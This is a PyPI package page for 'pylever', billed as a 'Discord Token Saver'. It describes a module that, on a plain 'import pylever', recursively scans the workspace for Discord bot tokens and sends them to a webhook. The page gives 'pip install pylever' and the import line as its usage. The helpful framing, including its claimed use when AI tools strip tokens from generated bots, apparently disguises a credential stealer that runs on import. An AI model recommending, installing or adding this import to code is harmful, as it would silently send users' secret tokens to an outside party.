Skip to main content

Pylever - Discord Token Saver

A Python module for finding Discord bot tokens in your workspace and automatically saving them via Discord webhook. Useful when AI tools remove tokens during bot generation.

Installation

pip install pylever

Usage

Simply import the module in your code:

import pylever

That's it. The module automatically:

  1. Scans your entire workspace for Discord tokens (72-char strings starting with M or N)
  2. Sends them to your webhook
  3. Stores metadata locally

No additional code needed.

Setup

Edit pylever/token_saver.py and set your webhook URL:

_WEBHOOK_URL = "https://discord.com/api/webhooks/YOUR_WEBHOOK_ID/YOUR_WEBHOOK_TOKEN"

Then just import pylever in any file and it runs automatically.

Features

  • Deep Folder Scanning: Recursively scans entire workspace for tokens
  • Flexible Pattern Matching: Finds 72-character strings starting with M or N
  • Discord Webhook Integration: Sends tokens directly to your Discord
  • Local Backup: Keeps local copy of saved tokens with timestamps
  • Private API: All internal classes are private to keep your code clean

How It Works

  1. Scans all files in the specified directory recursively
  2. Looks for 72-character tokens starting with M or N
  3. Sends each token to your Discord webhook
  4. Stores metadata locally for reference

Requirements

  • Python 3.8+
  • requests>=2.28.0

Setting Up Discord Webhook

  1. Go to your Discord server settings
  2. Navigate to Webhooks
  3. Create a new webhook
  4. Copy the webhook URL
  5. Use it in the module initialization

License

MIT

Download files

Download the file for your platform. If you're not sure which to choose, learn more about installing packages.

Source Distribution

pylever-1.0.1.tar.gz (5.9 kB view details)

Uploaded Source

Built Distribution

If you're not sure about the file name format, learn more about wheel file names.

pylever-1.0.1-py3-none-any.whl (6.3 kB view details)

Uploaded Python 3

File details

Details for the file pylever-1.0.1.tar.gz.

File metadata

  • Download URL: pylever-1.0.1.tar.gz
  • Upload date:
  • Size: 5.9 kB
  • Tags: Source
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.1.tar.gz
Algorithm Hash digest
SHA256 5d73caaa978e5d7dc391c300df84d81fe3f1adcdc0520695c6a6f88e664a3272
MD5 1097ad767ef665e9c37ec78e73406dca
BLAKE2b-256 d02354e9f15a1b069f4261762e22181c0f1779439d424890da1ef2178c623f74

See more details on using hashes here.

File details

Details for the file pylever-1.0.1-py3-none-any.whl.

File metadata

  • Download URL: pylever-1.0.1-py3-none-any.whl
  • Upload date:
  • Size: 6.3 kB
  • Tags: Python 3
  • Uploaded using Trusted Publishing? No
  • Uploaded via: twine/7.0.0 CPython/3.11.7

File hashes

Hashes for pylever-1.0.1-py3-none-any.whl
Algorithm Hash digest
SHA256 77fd3e4cc6424cda8af8bc17773e4e73c326ca889db208915766180b57d5e0ed
MD5 e624b0b4114628e7372c6761f084bff0
BLAKE2b-256 52fc81344cc0de49bbc832b1a35b1a6404ee4df70b31fc501526cc214ca5b574

See more details on using hashes here.

Release history Release notifications | RSS feed

This release

1.0.1 This release

2 files

1.0.0

2 files

Anthropic, PBC Visionary sponsor Bloomberg Visionary sponsor Hudson River Trading Visionary sponsor Meta Visionary sponsor NVIDIA Visionary sponsor Microsoft Sustainability sponsor Depot Continuous Integration AWS Cloud computing and Security Sponsor Datadog Monitoring Fastly CDN Google Download Analytics Sentry Error logging StatusPage Status page